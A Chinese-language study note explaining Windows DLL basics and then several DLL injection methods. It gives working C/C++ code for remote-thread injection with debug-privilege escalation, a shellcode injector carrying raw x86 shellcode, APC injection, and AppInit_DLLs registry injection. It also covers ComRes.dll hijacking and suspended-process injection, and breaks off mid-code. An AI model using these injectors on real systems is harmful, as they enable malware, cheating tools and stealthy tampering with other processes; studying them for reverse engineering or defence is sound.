我在网上学习整理写的笔记,转载务必说明出处
DLL 概念
什么是 DLL
DLL 文件即动态链接库文件( Dynamic Link Library ),是 Windows 系统中封装代码和数据以及实现资源共享的一种方式,当然本质上它就是一个已经编译好的机器指令文件。
动态链接:指的是程序运行时,有需要才去调用某个 DLL 。
库:指的是一般一个 DLL 里会包含各种函数并对外提供 API 。
一般就和开发中自定义的模块类似,可以将 DLL 通俗理解为具有某些功能的箱子,箱子里存放着已经编写好的逻辑代码和数据,箱子上有一些按钮,这就是 API ,外部程序调用 API 就好像按这些按钮一样,不需要知道箱子内部逻辑是怎么实现的,只需要阅读一些说明书之类的东西,就可以“把玩”这个箱子——也就是 DLL 了。
重要 DLL
Windows中有3个非常重要的底层 DLL : kernel32.dll 、 user32.dll 、 gdi32.dll 。
kernel32.dll 是非常重要的32位动态链接库文件,属于内核级文件。当 Windows 启动时,kernel32.dll 就驻留在内存中特定的写保护区域,当别的程序试图写入访问这些内存区域时,操作系统就会报错并终止该程序运行。 kernel32.dll 顾名思义,包含着操作系统的一核心功能比如内存管理、进程管理、中断处理等等。
user32.dll 是 Windows 用户界面相关应用程序接口,用于包括 Windows 处理,基本用户界面等特性,如创建窗口和发送消息,或者是将鼠标的点击信号传递给相应的窗口。当你要用操作系统的 API 直接创建用户图形界面时,也有可能用到该动态链接库。
gdi32.dll 是 Windows GDI 图形用户界面相关程序,包含的函数用来绘制图像和显示文字,缺少它可能会造成部分软件或游戏无法正常运行。
DLL 加载方式
1、使用 LoadLibrary 动态加载DLL
2、使用 GetProcAddress 获取DLL中导出函数的指针
3、最后用 FreeLibrary 卸载指定的DLL
DLL 导出导入方式
DLL 导出
extern "C" _declspec(dllexport) 函数名
举例:
extern "C" __declspec(dllexport) int add(int a, int b);
DLL 导入:
extern "C" _declspec(dllimport)
举例(静态调用DLL库):
#pragma comment(lib,"DLLTest1.lib")
extern "C" int add(int a, int b);
进程调用 DLL
动态调用:
// 动态调用DLL库
void DynamicUse()
{
// 运行时加载DLL库
HMODULE module = LoadLibrary("DLLTest1.dll");
if (module == NULL)
{
printf("加载DLLTest1.dll动态库失败\n");
return;
}
typedef int(*AddFunc)(int, int); // 定义函数指针类型
AddFunc add;
// 导出函数地址
add = (AddFunc)GetProcAddress(module, "add");
int sum = add(100, 200);
printf("动态调用,sum = %d\n",sum);
}
用到了以下函数
// 根据DLL文件名 加载DLL
// 返回一个模块句柄
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
// 返回lpProcName指向的函数名的函数地址。
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
静态调用:
前置条件:在 DLL 中添加 extern "C" __declspec(dllexport) int add(int a, int b);
#pragma comment(lib,"DLLTest1.lib")
extern "C" int add(int a, int b);
// 静态调用DLL库
void StaticUse()
{
int sum = add(10, 20);
printf("静态调用,sum = %d\n", sum);
}
DLL 注入
DLL 注入概念
dll 注入是一种将 Windows 动态链接库注入到目标进程中的技术,具体的说,就是将 dll 文件加载到一个进程的虚拟地址空间中。对某个进程进行 dll 注入,也就意味着 dll 模块与该进程共用一个进程空间,则这个 dll 文件就有了操纵这个进程空间的能力,以达到执行 dll 模块中的代码修改进程数据的能力。dll 注入技术在逆向工程,病毒,外挂,调试等技术领域都有广泛的应用,它也是 Windows API hook 技术的基础。
DLL 注入方法
远程线程注入
原理:
CreateRemoteThread,通过它可以在另外一个进程中注入一个线程 并执行 。
过程:
目标进程→传入DLL地址→开启远程线程→加载DLL→实现DLL的注入
函数:
OpenProcess // 获取已知进程的句柄
VirtualAllocEx // 在远程进程中申请内存空间
WriteProcessMemory // 向进程中写入东西
CreateRemoteThreadEx // 创建远程线程——即在其他进程中创建新的线程
WaitForSingleObject // 等待线程结束返回
VirtualFreeEx // 释放空间
CloseHandle // 关闭句柄
// dll注入代码
#include"pch.h"
#include<Windows.h>
#include<tlhelp32.h>
#include <assert.h>
#include<tchar.h>
#include <iostream>
//获取进程name的ID
DWORD GetPid(LPTSTR name)
{
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取进程快照句柄
assert(hProcSnap != INVALID_HANDLE_VALUE); //判断是否打开成功
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL flag = Process32First(hProcSnap, &pe32); //获取列表的第一个进程
while (flag)
{
if (!_tcscmp(pe32.szExeFile, name))
{
CloseHandle(hProcSnap);
return pe32.th32ProcessID;//pid
}
flag = Process32Next(hProcSnap, &pe32);//获取下一个进程
}
CloseHandle(hProcSnap);
printf("没有找到相关进程");
return 0;
}
// 提权函数:提升为DEBUG权限
// 1、GetCurrentProcessID 得到当前进程的ID
// 2、OpenProcessToken 得到进程的令牌句柄
// 3、LookupPrivilegeValue 查询进程的权限 取得特权的LUID值
// 4、AdjustTokenPrivileges 判断修改令牌权限
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1; //要提升的权限个数
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
int main()
{
EnableDebugPrivilege();
printf("输入要注入的进程名(.exe):\n");
char cname[260] = {};
scanf_s("%s", cname, 260);
printf("输入dll路径(\\)");
char cpath[260];
scanf_s("%s", cpath,260);
DWORD Pid = 0;
Pid = GetPid((LPTSTR)cname);
// 用PID打开进程 参数1:权限 参数2:是否继承 参数3:PID
HANDLE Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
//2. 远程进程中申请空间
//参数1:进程句柄 参数2:起始地址(NULL函数决定分配到哪)
//参数3:要分配的大小(不够一页分一页) 参数4:内存分配类型(保留提交) 参数5:内存保护
LPVOID Address = VirtualAllocEx(Handle, NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//3.向远程进程写入数据
//也就是LoadLibrary的参数,即Dll的地址
//不同的系统使用到的 LoadLibrary 可能是 A/W 的,需要和字符串匹配
DWORD RealWrite = 0; //实际写入的地址
// 参数1:进程句柄 参数2:写入数据的起始地址 参数3:写入的数据 参数4:写入字节数 参数5:实际写入字节数
WriteProcessMemory(Handle, Address, cpath, strlen(cpath)+1, &RealWrite);
//4. 在目标进程内创建远程线程
//线程的起始位置是 LoadLibrary,在Windows下,所有 Windows API 在不同进程中的函数地址都是相同
//参数1:进程句柄 参数2:安全描述符(为0默认) 参数3:堆栈初始大小(为0默认)
//参数4:指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针
//参数5:函数的参数指针 参数6:控制线程创建的标志(为0立即执行) 参数7:指向接收线程标识符的变量的指针(为0不接收)
HANDLE Thread = CreateRemoteThread(Handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, Address, NULL, NULL);
//5.等待远程线程执行完毕
WaitForSingleObject(Thread, -1);
//6. 释放空间
//可以选择是否释放注入的模块
VirtualFreeEx(Handle, Address, NULL, MEM_RELEASE);
system("pause");
//释放句柄
CloseHandle(Thread);
CloseHandle(Handle);
return 0;
}
// DLL代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call) // 指明了DLL被调用的原因
{
case DLL_PROCESS_ATTACH: //Dll被加载时
MessageBox(NULL, L"感染成功", L"潜伏", MB_OK);
case DLL_THREAD_ATTACH: //单个线程启动
case DLL_THREAD_DETACH: //单个线程终止
case DLL_PROCESS_DETACH: //DLL被卸载
break;
}
return TRUE;
}
// Shellcode 代码
// ShellCode注入.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include<tchar.h>
#include<tlhelp32.h>
#include <assert.h>
//获取进程name的ID
DWORD GetPid(LPCTSTR name)
{
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取进程快照句柄
assert(hProcSnap != INVALID_HANDLE_VALUE); //判断是否打开成功
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL flag = Process32First(hProcSnap, &pe32); //获取列表的第一个进程
while (flag)
{
if (!_tcscmp(pe32.szExeFile, name))
{
CloseHandle(hProcSnap);
return pe32.th32ProcessID;//pid
}
flag = Process32Next(hProcSnap, &pe32);//获取下一个进程
}
CloseHandle(hProcSnap);
printf("没有找到相关进程");
return 0;
}
//定义需要注入的Shellcode WinExec(calc.exe);
char ShellCode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\
\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\
\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\
\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x53\x52\
\x33\xC9\x51\xB9\x78\x65\x63\x61\x51\x83\x6C\x24\x03\x61\x68\x57\x69\x6E\x45\x54\x53\xFF\
\xD2\x83\xC4\x08\x59\x50\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xDB\x8B\
\xDC\x33\xC9\x41\x51\x53\xFF\xD0";
int main()
{
//1. 打开进程
printf("输入要注入的进程名(.exe):\n");
WCHAR cname[260] = {};
_tscanf_s(_T("%s"), cname, 260);
DWORD Pid = 0;
Pid = GetPid((LPCTSTR)cname);
// 用PID打开进程 参数1:权限 参数2:是否继承 参数3:PID
HANDLE Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
//2. 远程进程中申请空间
//参数1:进程句柄 参数2:起始地址(NULL函数决定分配到哪)
//参数3:要分配的大小(不够一页分一页) 参数4:内存分配类型(保留提交) 参数5:内存保护(必须是可执行的)
LPVOID Address = VirtualAllocEx(Handle, NULL, 0x100,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//3.向远程进程写入数据
// 向内存中写入用于[执行]的 OPCODE 的首地址
SIZE_T RealWrite = 0; //实际写入的地址
// 参数1:进程句柄 参数2:写入数据的起始地址 参数3:写入的数据 参数4:写入字节数(不能用strlen求遇到0结束) 参数5:实际写入字节数
WriteProcessMemory(Handle, Address, ShellCode,
sizeof(ShellCode), &RealWrite);
//4. 在目标进程内创建远程线程
//线程的起始位置是拷贝的shellcode的位置
//参数1:进程句柄 参数2:安全描述符(为0默认) 参数3:堆栈初始大小(为0默认)
//参数4:指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针
//参数5:函数的参数指针 参数6:控制线程创建的标志(为0立即执行) 参数7:指向接收线程标识符的变量的指针(为0不接收)
HANDLE Thread = CreateRemoteThread(Handle, NULL, NULL,
(LPTHREAD_START_ROUTINE)Address, NULL, NULL, NULL);
//5.等待远程线程执行完毕
WaitForSingleObject(Thread, -1);
//6. 释放空间
//可以选择是否释放注入的模块
VirtualFreeEx(Handle, Address, NULL, MEM_RELEASE);
system("pause");
//释放句柄
CloseHandle(Thread);
CloseHandle(Handle);
return 0;
}
进程提权:windows的每个用户登录系统后,系统会产生一个访问令牌(access token),其中关联了当前用户的权限信息,用户登录后创建的每一个进程都含有用户access token的拷贝,当进程试图执行某些需要特殊权限的操作或是访问受保护的内核对象时,系统会检查其acess token中的权限信息以决定是否授权操作。
Administrator 组成员的 accesstoken 中会含有一些可以执行系统级操作的特权 (privileges),如终止任意进程、关闭/重启系统、加载设备驱动和更改系统时间等(这里的特权和 UAC 中的不一样,UAC 主要是读写一些敏感的文件等,安装程序等,这些是管理员权限,绕过 UAC 主要是不弹出那个提示框;这里的这些特权即使是管理员权限也需要调用代码获取(或者叫开启),像一些注入里,经常会用到这些特权提升代码),不过这些特权默认是被禁用的,当 Administrator 组成员创建的进程中包含一些需要特权的操作时,进程必须首先打开这些禁用的特权以提升自己的权限,否则系统将拒绝进程的操作。注意,(貌似 win7 以后)非 Administrator 组成员创建的进程无法提升自身的权限,因此下面提到的进程均指 Administrator 组成员创建的进程。
Windows以字符串的形式表示系统特权,如“SeCreatePagefilePrivilege”表示该特权用于创建页面文件,“SeDebugPrivilege”表示该特权可用于调试及更改其它进程的内存,为了便于在代码中引用这些字符串,微软在winnt.h中定义了一组宏,如
#define SE_DEBUG_NAME TEXT(“SeDebugPrivilege”)。完整的特权列表可以查阅msdn的security一章。
APC注入
原理:
APC 是一个简称,即“异步过程调用”。APC 注入的原理是利用当线程被唤醒时,APC 中的注册函数会被执行,并以此去执行我们的 DLL 加载代码,进而完成 DLL 注入的目的。在线程下一次被调度的时候,就会执行 APC 函数,APC 有两种形式,由系统产生的 APC 称为内核模式 APC,由应用程序产生的 APC 被称为用户模式 APC。在windows中,每个 线程 都会维护一个 线程 APC 队列,通过 QueueUserAPC 把函数添加到指定线程APC队列中,当要执行函数时,Windows 系统会发送一个软中断去执行函数,而用户模式下的 APC 队列,则需要线程处于 可警告状态 才能运行,一个线程在内部使用 SignalObjectAndWait,SleepEx,WaitForSingleObjectEx,WaitForMulitpleObjectsEx 等函数将用户的线程挂起变为可警告状态,则可以进行注入。
注入条件:
1、必须是多线程环境下。
2、注入的程序必须会调用上面的那些同步对象。
总结
1、当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断。
2、当线程唤醒的时候,这个线程会优先去 Apc 队列中调用回调函数。
3、我们利用 QueueUserApc,往这个队列中插入一个回调。
4、插入回调的时候,把插入的回调地址改为 LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去。
实现流程:
1、当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断。
2、当线程再次被唤醒时,此线程会首先执行 APC 队列中的被注册的函数。
3、利用 QueueUserAPC() 这个 API 可以在软中断时向线程的 APC 队列插入一个函数指针,如果我们插入的是 Loadlibrary() 执行函数的话,就能达到注入 DLL 的目的。
函数:
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0): 获得系统进程快照句柄
Process32First(hSnapshot, &pe32): 获取第一个进程的快照信息
Process32Next(hSnapshot, &pe32): 获取下一个进程的快照信息
Thread32First(hSnapshot, &te32): 获得第一个线程的快照信息
Thread32Next(hSnapshot, &te32): 获取下一个线程的快照信息
RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD))): 用0填充一块内存
QueueUserApc: 函数作用,添加指定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
与远线程注入不同的是,我们选择他已经有的 线程 进行注入,为了保证能被进程有效调用,我们选择遍历进程中的所有进程并且全部注入我们的dll。
// 进程遍历
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(const char *pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD **ppThreadId, DWORD *pdwThreadIdLength)
{
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDll(const char *pszProcessName)
{
char szDllPath[MAX_PATH] = { 0 };
GetCurrentDirectoryA(MAX_PATH, szDllPath);
strcat_s(szDllPath, "\\InjectDll.dll");
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
FARPROC pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = (strlen(szDllPath) + 1);
DWORD i = 0;
do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, szDllPath, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
注册表注入
原理:
注册表注入,是一种比较简单的注入,主要依赖于俩个表项,AppInit_Dlls 和 LoadAppInit_DLLs。AppInit_Dlls 写入dll完整路径,LoadAppInit_DLLs 写为1, 重启后 ,指定DLL会注入到所有运行进程。然后被加载时执行。
注入32位进程,应该修改的注册表键为:
# 将下面注册表的键对应的值设置为 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
# 将下面注册表的键对应的值设置为要注入的 DLL的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs
注入64位进程,应该修改的注册表键为:
# 将下面注册表的键对应的值设置为 1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
# 将下面注册表的键对应的值设置为要注入的 DLL的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs
缺点:如果注入 DLL 中有错误导致崩溃,那么会影响到被注入的所有进程。
函数:
RegOpenKeyEx 打开注册表键值
RegQueryValueEx 查询键值
RegSetValueEx 设置键值
RegCloseKey 关闭键值
实现:
//打开键值
nReg = RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
m_szRegPath,
0,
KEY_ALL_ACCESS,
&hKey);
if(nReg != ERROR_SUCCESS)
{
return FALSE;
}
//查询键值
DWORD dwReadType;
DWORD dwReadCount;
TCHAR szReadBuff[1000] = {0};
nReg = RegQueryValueEx(hKey,
_T("AppInit_DLLs"),
NULL,
&dwReadType,
(BYTE*)&szReadBuff,
&dwReadCount);
if(nReg != ERROR_SUCCESS)
{
return FALSE;
}
//是否dll名称已经在内容中
tstring strCmpBuff;
strCmpBuff = szReadBuff;
if (!strCmpBuff.find(InjectFilePath))
{
return FALSE;
}
//有字符串就加入空格
if (0 != _tcscmp(szReadBuff,_T("")))
{
_tcscat_s(szReadBuff,_T(" "));
}
_tcscat_s(szReadBuff,InjectFilePath);
//把dll路径设置到注册表中
nReg = RegSetValueEx(hKey,
_T("AppInit_DLLs"),
0,
REG_SZ,
(CONST BYTE*)szReadBuff,
(_tcslen(szReadBuff)+1)*sizeof(TCHAR));
当我们完成了注册表的注入时,并不是希望所有程序都运行DLL里面的内容,这时我们就需要在DLL中过滤窗口名称,让指定窗口名称的EXE文件运行DLL里的线程。所需API如下表所示:
CreateThread 创建线程
Sleep 睡眠
EnumWindows 遍历窗口
GetWindowText 得到窗口名称
GetCurrentProcessId 得到当前进程ID
GetWindowThreadProcessId 由HWND获得进程ID
我们需要在注入的DLL中创建线程,并在线程中执行遍历窗口函数,我们需要先获取窗口名称,与我们想运行的EXE名称进行对比,并进行进程ID对比,因为不光只有一个EXE文件的运行实例,经过这些过滤后,我们就可以在指定的EXE文件中运行代码了。
BOOL CALLBACK lpEnumFunc(HWND hwnd, LPARAM lParam)
{
TCHAR str[MAXBYTE] = {0};
//得到窗口名称
GetWindowText(hwnd,str,sizeof(str));
//是否名称是计算器
if(0 == _tcscmp(str,_T("计算器")))
{
//由于存在可能多个计算器,需要过滤线程ID
//得到本身线程的ID
DWORD dwCurrentProcessId = GetCurrentProcessId();
DWORD dwFindCurrentProcessId = 0;
//得到窗口线程ID
GetWindowThreadProcessId(hwnd,&dwFindCurrentProcessId);
//比较
if (dwCurrentProcessId == dwFindCurrentProcessId)
{
*(PDWORD)lParam = 1;
return FALSE;
}
}
return TRUE;
}
DWORD ThreadProc(LPVOID lParam)
{
//等待1秒时间以便于让windows创建窗口
Sleep(1000);
DWORD dwFind = 0;
//遍历窗口,过滤窗口名称
EnumWindows(lpEnumFunc,(LPARAM)&dwFind);
if (!dwFind) return 0;
// 运行代码
return 0;
}
BOOL InitInstance()
{
DWORD dwThreadId;
m_hThread = ::CreateThread(NULL, NULL,
(LPTHREAD_START_ROUTINE)ThreadProc,
this, NULL,&dwThreadId);
return TRUE;
}
ComRes注入
原理:
ComRes 注入的原理是利用 Windows 系统中 C:\WINDOWS\system32 目录下的 ComRes.dll 这个文件,当待注入 EXE 如果使用 CoCreateInstance() 这个 API 时,COM 服务器会加载 ComRes.dll 到 EXE 中,我们利用这个加载过程,移花接木的把 ComRes.dll 替换掉,并在伪造的 ComRes.dll,然后利用 LoadLibrary() 将事先准备好的 DLL 加载到目标的 EXE 中。
注意:
由于直接拷贝comres.dll文件到C:\WINDOWS\system32目录下会引起winows的文件系统保护机制,所以首先需要将C:\WINDOWS\system32\dllcache下的文件替换掉,然后再将其C:\WINDOWS\system32文件替换为我们伪造的文件。
ComRes注入只需伪造与替换就可以完成,编程要求不高,方便使用,但是由于加载了ComRes.dll后,再想替换ComRes.dll文件就不可能了,因此想反复测试ComRes.dll文件就比较麻烦。
过程:
1、编写测试文件
为了向大家完整的演示ComRes注入的过程,我们需要先建立一个使用CoCreateInstance()函数的示例程序。
新建atl的DLL工程,这个工程中只提供了一个简单的com接口方法TestMsgBox,主要代码如下:
STDMETHODIMP CCMyCom::TestMsgBox(void)
{
// TODO: 在此添加实现代码
MessageBox(0,0,0,0);
return S_OK;
}
这时编译后会产生一个tlb文件,他是调用com接口方法工程中所要使用的导入文件。新建mfc对话框工程,在stdafx.h文件中加入#import "tlb文件路径\xxxx.tlb " no_namespace。添加一个BUTTON控件,双击后在单击事件中写入调用atl中com接口方法。主要代码如下:
void CReplaceRescomInjectDlg::OnBnClickedCallcom()
{
// TODO: 在此添加控件通知处理程序代码
CoInitialize(NULL);
CLSID clsid;
HRESULT hr = CLSIDFromProgID(OLESTR("CallComDll.CMyCom"),&clsid);
ICMyCom *ptr;
hr = CoCreateInstance(clsid,NULL,CLSCTX_INPROC_SERVER,
__uuidof(ICMyCom),(LPVOID*)&ptr);
ptr->TestMsgBox();
CoUninitialize();
}
2、伪造comres.dll文件
使用DEPENDS.EXE文件查看一下,发现只有一个导出函数 COMResModuleInstance()。新建一个DLL工程,加入def文件,添加导出函数
EXPORTS
COMResModuleInstance
在主工程cpp文件中,加入如下代码
HANDLE ghInst = 0;
BOOL isLoad = FALSE;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
ghInst = hModule;
if (!isLoad)
{
LoadLibrary(_T("D:\\MyDll\\ReplaceRescomInject\\Debug\\LoadLibraryDll.dll"));
isLoad = TRUE;
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int COMResModuleInstance()
{
return (int)ghInst;
}
编译后得到的文件改名为comres.dll,然后将其剪切到其他文件夹下备用,因为在exe同级目录下有和C:\WINDOWS\system32一样的文件,exe会首先加载同级目录下的文件,而不会加载C:\WINDOWS\system32中的文件。
劫持进程创建注入
原理:
劫持进程创建注入原理是利用Windows系统中的CreateProcess()这个API创建一个进程,并且将第六个参数设置为CREATE_SUSPENDED,进而创建一个挂起状态的进程,利用这个进程状态进行远程线程注入DLL,然后用ResumeThread()函数回复进程。
劫持进程创建注入其实就是远程线程注入的前期加强版,他可以在进程启动前进行注入,由于进程的线程没有启动,这样就可以躲过待注入进程的检测,提高注入的成功率。
BOOL CreateProcess(
LPCWSTR pszImageName, //指向一个NULL结尾的、用来指定可执行模块的字符串。目标进程地址名
LPCWSTR pszCmdLine, //指向一个以NULL结尾的字符串,该字符串指定要执行的命令行。
LPSECURITY_ATTRIBUTES psaProcess, //指向一个SECURITY_ATTRIBUTES结构体,这个结构体决定是否返回的句柄可以被子进程继承。如果lpProcessAttributes参数为空(NULL),那么句柄不能被继承。
LPSECURITY_ATTRIBUTES psaThread, //同lpProcessAttribute,不过这个参数决定的是线程是否被继承.通常置为NULL.
BOOL fInheritHandles, //指示新进程是否从调用进程处继承了句柄。
DWORD fdwCreate, //指定附加的、用来控制优先类和进程的创建的标志。
LPVOID pvEnvironment, //指向一个新进程的环境块。如果此参数为空,新进程使用调用进程的环境。
LPWSTR pszCurDir, //指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。
LPSTARTUPINFOW psiStartInfo, //指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体。
LPPROCESS_INFORMATION pProcInfo //指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。
);
过程:
1、让进程生成一个被挂起的子进程
2、从exe模块的文件头中取得主线程的起始内存地址
3、将位于该内存地址处的机器指令保存起来
4、强制将一些手工编写的机器指令写入到该内存地址处,指令调用LoadLibrary载入DLL
5、让子进程的主线程恢复运行,从而让指令执行
6、注入DLL成功后,把保存起来的原始指令恢复到起始地址处
7、进程从起始地址继续执行
换种理解:
1、以挂起方式启动目标进程
2、采用其他注入方式将DLL注入目标进程
3、继续目标进程的主线程使目标进程继续运行
代码:
///ThreadInsert.h
//提升进程权限
BOOL AdjustProcessTokenPrivilege();
//打开待注入的进程
HANDLE OpenTargetProcess(DWORD dpid);
//根据进程名称查找pid
DWORD GetProcessIDByName(const wchar_t* pName);
//在待注入的进程中申请空间
BOOL TagetAlloc(HANDLE hTargetProcess, LPVOID &lpAddr);
//将DLL路径写入申请的空间
BOOL WriteDLLToTarget(HANDLE hTargetProcess, LPVOID lpAddr, LPCWSTR lpBuffer);
//在目标进程中开辟线程
BOOL CreateThreadInTarget(HANDLE hTargetProcess,PTHREAD_START_ROUTINE pnfStartAddr,LPVOID lpAddr);
///ThreadInsert.cpp
//提升进程权限
BOOL AdjustProcessTokenPrivilege()
{
CString str;
HANDLE hToken;
if (FALSE == OpenProcessToken( GetCurrentProcess() , TOKEN_ALL_ACCESS , &hToken))
{
